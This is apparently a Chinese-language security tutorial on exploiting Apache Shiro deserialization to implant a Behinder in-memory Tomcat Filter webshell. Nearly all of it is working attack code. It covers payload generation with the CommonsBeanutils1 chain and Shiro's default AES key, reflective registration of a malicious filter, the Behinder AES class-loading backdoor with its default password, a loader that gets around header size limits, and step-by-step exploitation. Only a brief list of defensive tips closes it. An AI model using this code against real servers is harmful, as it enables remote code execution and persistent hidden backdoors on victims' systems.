利用shiro反序列化注入冰蝎内存马
字数 1065 2025-08-24 23:51:23
利用Shiro反序列化注入冰蝎内存马技术详解
一、Shiro反序列化注入内存马原理
1. Tomcat Filter内存马基础实现
Tomcat Filter内存马的核心是通过动态注册Filter实现持久化控制,主要分为四个关键步骤:
- 获取StandardContext对象:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
- 获取filterConfigs映射表:
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
- 创建恶意Filter实现:
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 恶意代码逻辑
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
// 执行命令
}
filterChain.doFilter(servletRequest, servletResponse);
}
// 其他必要方法实现...
};
- 注册Filter到容器:
// 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evil");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evil");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建FilterConfig并注册
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put("evil", filterConfig);
2. 结合Shiro反序列化注入
将上述内存马逻辑封装到恶意类中,通过Shiro反序列化漏洞触发:
- 创建继承AbstractTranslet的恶意类:
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
// 内存马注入逻辑
}
// Filter接口方法实现...
}
- 使用CB1链生成Payload:
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(BehinderFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
- 将生成的Payload放入rememberMe Cookie触发漏洞
二、冰蝎内存马改造
1. 冰蝎核心逻辑分析
原始冰蝎JSP马核心代码:
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b"; // 默认连接密码rebeyond的MD5前16位
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(
c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
}
%>
2. 内存马中的冰蝎实现
改造后的Filter实现:
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
// 创建伪pageContext
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
// 反射调用defineClass
Method method = Class.forName("java.lang.ClassLoader")
.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new BASE64Decoder()
.decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(),
evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} catch(Exception e) {
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
}
3. 环境兼容性问题解决
针对不同环境(Spring Boot/Tomcat)获取StandardContext的兼容方案:
Class<? extends StandardContext> aClass = null;
try {
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
三、绕过maxHttpHeaderSize限制
1. 问题分析
Tomcat默认maxHttpHeaderSize为4096字节(4K),而加密后的字节码数据通常超过此限制
2. 解决方案:POST请求体传输
- 创建ClassDataLoader类:
public class ClassDataLoader extends AbstractTranslet {
public ClassDataLoader() throws Exception {
// 从线程中查找Request对象
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (Thread t : ts) {
if (t != null && t.getName().contains("http")) {
Object o = getFV(t, "target");
if (o instanceof Runnable) {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
List ps = (List) getFV(o, "processors");
for (Object p : ps) {
o = getFV(p, "req");
// 获取真正的Request对象
Object conreq = o.getClass().getMethod("getNote", int.class)
.invoke(o, 1);
// 从POST参数获取classData
String classData = (String) conreq.getClass()
.getMethod("getParameter", String.class)
.invoke(conreq, "classData");
// 动态加载类
byte[] bytecodes = Base64.decode(classData);
Method defineClassMethod = ClassLoader.class
.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(
this.getClass().getClassLoader(), bytecodes, 0, bytecodes.length);
cc.newInstance();
}
}
}
}
}
// 辅助方法...
}
- 使用流程:
- 生成ClassDataLoader的Shiro加密Payload放入rememberMe
- 将冰蝎Filter的字节码Base64编码后作为classData参数通过POST请求体发送
四、完整利用流程
- 编译生成BehinderFilter.class
- Base64编码字节码:
cat BehinderFilter.class | base64 | sed ':label;N;s/\n//;b label'
- 生成ClassDataLoader的Shiro Payload:
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ClassDataLoader.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
- 发送请求:
- Cookie中携带rememberMe=生成的Payload
- POST请求体中携带classData=Base64编码的BehinderFilter
五、防御建议
- 升级Shiro到最新版本,修复反序列化漏洞
- 修改默认加密密钥
- 限制rememberMe功能的使用
- 部署RASP防护内存马注入
- 监控Filter等核心组件的动态注册行为